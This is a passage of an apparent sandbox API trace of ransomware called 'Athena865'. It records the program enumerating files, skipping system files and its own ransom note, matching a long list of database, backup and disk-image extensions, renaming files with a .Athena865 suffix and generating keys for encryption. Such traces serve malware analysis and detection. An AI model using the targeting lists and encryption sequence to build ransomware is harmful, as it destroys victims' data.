returned 0x52b3b0 [0057.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.577] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0057.580] CloseHandle (hObject=0x17c) returned 1 [0057.580] CloseHandle (hObject=0x154) returned 1 [0057.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518de8 | out: hHeap=0x4f0000) returned 1 [0057.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.589] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".") returned 1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="..") returned 1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="windows") returned -1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="bootmgr") returned 1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="temp") returned -1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="pagefile.sys") returned -1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="boot") returned 1 [0057.589] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="ids.txt") returned 1 [0057.590] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="ntuser.dat") returned 1 [0057.590] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="perflogs") returned -1 [0057.590] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="MSBuild") returned 1 [0057.590] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0057.590] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OneNoteMUI.xml" | out: lpString1="OneNoteMUI.xml") returned="OneNoteMUI.xml" [0057.590] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0057.590] lstrlenW (lpString="Athena865") returned 9 [0057.590] lstrcmpiW (lpString1="teMUI.xml", lpString2="Athena865") returned 1 [0057.590] lstrlenW (lpString=".dll") returned 4 [0057.590] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".dll") returned 1 [0057.590] lstrlenW (lpString=".lnk") returned 4 [0057.590] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".lnk") returned 1 [0057.590] lstrlenW (lpString=".ini") returned 4 [0057.590] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".ini") returned 1 [0057.590] lstrlenW (lpString=".sys") returned 4 [0057.590] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2=".sys") returned 1 [0057.590] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0057.590] lstrlenW (lpString="bak") returned 3 [0057.590] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0057.590] lstrlenW (lpString="ba_") returned 3 [0057.590] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0057.590] lstrlenW (lpString="dbb") returned 3 [0057.590] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0057.590] lstrlenW (lpString="vmdk") returned 4 [0057.590] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0057.590] lstrlenW (lpString="rar") returned 3 [0057.590] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0057.590] lstrlenW (lpString="zip") returned 3 [0057.590] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0057.590] lstrlenW (lpString="tgz") returned 3 [0057.590] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0057.590] lstrlenW (lpString="vbox") returned 4 [0057.590] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0057.591] lstrlenW (lpString="vdi") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0057.591] lstrlenW (lpString="vhd") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0057.591] lstrlenW (lpString="vhdx") returned 4 [0057.591] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0057.591] lstrlenW (lpString="avhd") returned 4 [0057.591] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0057.591] lstrlenW (lpString="db") returned 2 [0057.591] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0057.591] lstrlenW (lpString="db2") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0057.591] lstrlenW (lpString="db3") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0057.591] lstrlenW (lpString="dbf") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0057.591] lstrlenW (lpString="mdf") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0057.591] lstrlenW (lpString="mdb") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0057.591] lstrlenW (lpString="sql") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0057.591] lstrlenW (lpString="sqlite") returned 6 [0057.591] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0057.591] lstrlenW (lpString="sqlite3") returned 7 [0057.591] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0057.591] lstrlenW (lpString="sqlitedb") returned 8 [0057.591] lstrcmpiW (lpString1="eMUI.xml", lpString2="sqlitedb") returned -1 [0057.591] lstrlenW (lpString="xml") returned 3 [0057.591] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0057.591] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.Athena865") returned 87 [0057.591] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.athena865"), dwFlags=0x1) returned 1 [0057.592] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.592] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1606) returned 1 [0057.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518de8 [0057.593] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518cd8) returned 1 [0057.593] CryptGenRandom (in: hProv=0x518cd8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.593] CryptReleaseContext (hProv=0x518cd8, dwFlags=0x0) returned 1 [0057.594] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x950, lpName=0x0) returned 0x17c [0057.596] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x950) returned 0x100000 [0057.596] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518cd8) returned 1 [0057.597] CryptGenRandom (in: hProv=0x518cd8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.597] CryptReleaseContext (hProv=0x518cd8, dwFlags=0x0) returned 1 [0057.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.598] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0057.598] CloseHandle (hObject=0x17c) returned 1 [0057.598] CloseHandle (hObject=0x154) returned 1 [0057.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518de8 | out: hHeap=0x4f0000) returned 1 [0057.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.598] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".") returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="..") returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="windows") returned -1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="bootmgr") returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="temp") returned -1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="pagefile.sys") returned -1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="boot") returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="ids.txt") returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="ntuser.dat") returned 1 [0057.598] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="perflogs") returned -1 [0057.599] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="MSBuild") returned 1 [0057.599] lstrlenW (lpString="OnoteLR.cab") returned 11 [0057.599] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OnoteLR.cab" | out: lpString1="OnoteLR.cab") returned="OnoteLR.cab" [0057.599] lstrlenW (lpString="OnoteLR.cab") returned 11 [0057.599] lstrlenW (lpString="Athena865") returned 9 [0057.599] lstrcmpiW (lpString1="oteLR.cab", lpString2="Athena865") returned 1 [0057.599] lstrlenW (lpString=".dll") returned 4 [0057.599] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".dll") returned 1 [0057.599] lstrlenW (lpString=".lnk") returned 4 [0057.599] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".lnk") returned 1 [0057.599] lstrlenW (lpString=".ini") returned 4 [0057.599] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".ini") returned 1 [0057.599] lstrlenW (lpString=".sys") returned 4 [0057.599] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".sys") returned 1 [0057.599] lstrlenW (lpString="OnoteLR.cab") returned 11 [0057.599] lstrlenW (lpString="bak") returned 3 [0057.599] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0057.599] lstrlenW (lpString="ba_") returned 3 [0057.599] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0057.599] lstrlenW (lpString="dbb") returned 3 [0057.599] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0057.599] lstrlenW (lpString="vmdk") returned 4 [0057.599] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0057.599] lstrlenW (lpString="rar") returned 3 [0057.599] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0057.599] lstrlenW (lpString="zip") returned 3 [0057.599] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0057.599] lstrlenW (lpString="tgz") returned 3 [0057.599] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0057.599] lstrlenW (lpString="vbox") returned 4 [0057.599] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0057.599] lstrlenW (lpString="vdi") returned 3 [0057.599] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0057.599] lstrlenW (lpString="vhd") returned 3 [0057.599] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0057.600] lstrlenW (lpString="vhdx") returned 4 [0057.600] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0057.600] lstrlenW (lpString="avhd") returned 4 [0057.600] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0057.600] lstrlenW (lpString="db") returned 2 [0057.600] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0057.600] lstrlenW (lpString="db2") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0057.600] lstrlenW (lpString="db3") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0057.600] lstrlenW (lpString="dbf") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0057.600] lstrlenW (lpString="mdf") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0057.600] lstrlenW (lpString="mdb") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0057.600] lstrlenW (lpString="sql") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0057.600] lstrlenW (lpString="sqlite") returned 6 [0057.600] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0057.600] lstrlenW (lpString="sqlite3") returned 7 [0057.600] lstrcmpiW (lpString1="eLR.cab", lpString2="sqlite3") returned -1 [0057.600] lstrlenW (lpString="sqlitedb") returned 8 [0057.600] lstrcmpiW (lpString1="teLR.cab", lpString2="sqlitedb") returned 1 [0057.600] lstrlenW (lpString="xml") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0057.600] lstrlenW (lpString="$er") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0057.600] lstrlenW (lpString="4dd") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0057.600] lstrlenW (lpString="4dl") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0057.600] lstrlenW (lpString="^^^") returned 3 [0057.600] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0057.600] lstrlenW (lpString="abs") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0057.601] lstrlenW (lpString="abx") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0057.601] lstrlenW (lpString="accdb") returned 5 [0057.601] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0057.601] lstrlenW (lpString="accdc") returned 5 [0057.601] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0057.601] lstrlenW (lpString="accde") returned 5 [0057.601] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0057.601] lstrlenW (lpString="accdr") returned 5 [0057.601] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0057.601] lstrlenW (lpString="accdt") returned 5 [0057.601] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0057.601] lstrlenW (lpString="accdw") returned 5 [0057.601] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0057.601] lstrlenW (lpString="accft") returned 5 [0057.601] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0057.601] lstrlenW (lpString="adb") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0057.601] lstrlenW (lpString="adb") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0057.601] lstrlenW (lpString="ade") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0057.601] lstrlenW (lpString="adf") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0057.601] lstrlenW (lpString="adn") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0057.601] lstrlenW (lpString="adp") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0057.601] lstrlenW (lpString="alf") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0057.601] lstrlenW (lpString="ask") returned 3 [0057.601] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0057.601] lstrlenW (lpString="btr") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0057.602] lstrlenW (lpString="cat") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0057.602] lstrlenW (lpString="cdb") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0057.602] lstrlenW (lpString="ckp") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0057.602] lstrlenW (lpString="cma") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0057.602] lstrlenW (lpString="cpd") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0057.602] lstrlenW (lpString="dacpac") returned 6 [0057.602] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0057.602] lstrlenW (lpString="dad") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0057.602] lstrlenW (lpString="dadiagrams") returned 10 [0057.602] lstrcmpiW (lpString1="noteLR.cab", lpString2="dadiagrams") returned 1 [0057.602] lstrlenW (lpString="daschema") returned 8 [0057.602] lstrcmpiW (lpString1="teLR.cab", lpString2="daschema") returned 1 [0057.602] lstrlenW (lpString="db-journal") returned 10 [0057.602] lstrcmpiW (lpString1="noteLR.cab", lpString2="db-journal") returned 1 [0057.602] lstrlenW (lpString="db-shm") returned 6 [0057.602] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0057.602] lstrlenW (lpString="db-wal") returned 6 [0057.602] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0057.602] lstrlenW (lpString="dbc") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0057.602] lstrlenW (lpString="dbs") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0057.602] lstrlenW (lpString="dbt") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0057.602] lstrlenW (lpString="dbv") returned 3 [0057.602] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0057.603] lstrlenW (lpString="dbx") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0057.603] lstrlenW (lpString="dcb") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0057.603] lstrlenW (lpString="dct") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0057.603] lstrlenW (lpString="dcx") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0057.603] lstrlenW (lpString="ddl") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0057.603] lstrlenW (lpString="dlis") returned 4 [0057.603] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0057.603] lstrlenW (lpString="dp1") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0057.603] lstrlenW (lpString="dqy") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0057.603] lstrlenW (lpString="dsk") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0057.603] lstrlenW (lpString="dsn") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0057.603] lstrlenW (lpString="dtsx") returned 4 [0057.603] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0057.603] lstrlenW (lpString="dxl") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0057.603] lstrlenW (lpString="eco") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0057.603] lstrlenW (lpString="ecx") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0057.603] lstrlenW (lpString="edb") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0057.603] lstrlenW (lpString="epim") returned 4 [0057.603] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0057.603] lstrlenW (lpString="fcd") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0057.603] lstrlenW (lpString="fdb") returned 3 [0057.603] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0057.604] lstrlenW (lpString="fic") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0057.604] lstrlenW (lpString="flexolibrary") returned 12 [0057.604] lstrlenW (lpString="fm5") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0057.604] lstrlenW (lpString="fmp") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0057.604] lstrlenW (lpString="fmp12") returned 5 [0057.604] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0057.604] lstrlenW (lpString="fmpsl") returned 5 [0057.604] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0057.604] lstrlenW (lpString="fol") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0057.604] lstrlenW (lpString="fp3") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0057.604] lstrlenW (lpString="fp4") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0057.604] lstrlenW (lpString="fp5") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0057.604] lstrlenW (lpString="fp7") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0057.604] lstrlenW (lpString="fpt") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0057.604] lstrlenW (lpString="frm") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0057.604] lstrlenW (lpString="gdb") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0057.604] lstrlenW (lpString="gdb") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0057.604] lstrlenW (lpString="grdb") returned 4 [0057.604] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0057.604] lstrlenW (lpString="gwi") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0057.604] lstrlenW (lpString="hdb") returned 3 [0057.604] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0057.605] lstrlenW (lpString="his") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0057.605] lstrlenW (lpString="ib") returned 2 [0057.605] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0057.605] lstrlenW (lpString="idb") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0057.605] lstrlenW (lpString="ihx") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0057.605] lstrlenW (lpString="itdb") returned 4 [0057.605] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0057.605] lstrlenW (lpString="itw") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0057.605] lstrlenW (lpString="jet") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0057.605] lstrlenW (lpString="jtx") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0057.605] lstrlenW (lpString="kdb") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0057.605] lstrlenW (lpString="kexi") returned 4 [0057.605] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0057.605] lstrlenW (lpString="kexic") returned 5 [0057.605] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0057.605] lstrlenW (lpString="kexis") returned 5 [0057.605] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0057.605] lstrlenW (lpString="lgc") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0057.605] lstrlenW (lpString="lwx") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0057.605] lstrlenW (lpString="maf") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0057.605] lstrlenW (lpString="maq") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0057.605] lstrlenW (lpString="mar") returned 3 [0057.605] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0057.605] lstrlenW (lpString="marshal") returned 7 [0057.605] lstrcmpiW (lpString1="eLR.cab", lpString2="marshal") returned -1 [0057.606] lstrlenW (lpString="mas") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0057.606] lstrlenW (lpString="mav") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0057.606] lstrlenW (lpString="maw") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0057.606] lstrlenW (lpString="mdbhtml") returned 7 [0057.606] lstrcmpiW (lpString1="eLR.cab", lpString2="mdbhtml") returned -1 [0057.606] lstrlenW (lpString="mdn") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0057.606] lstrlenW (lpString="mdt") returned 3 [0057.606] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0057.606] lstrlenW (lpString="mfd") returned 3 [0057.606] lstrcmpiW (lpString1="cab", 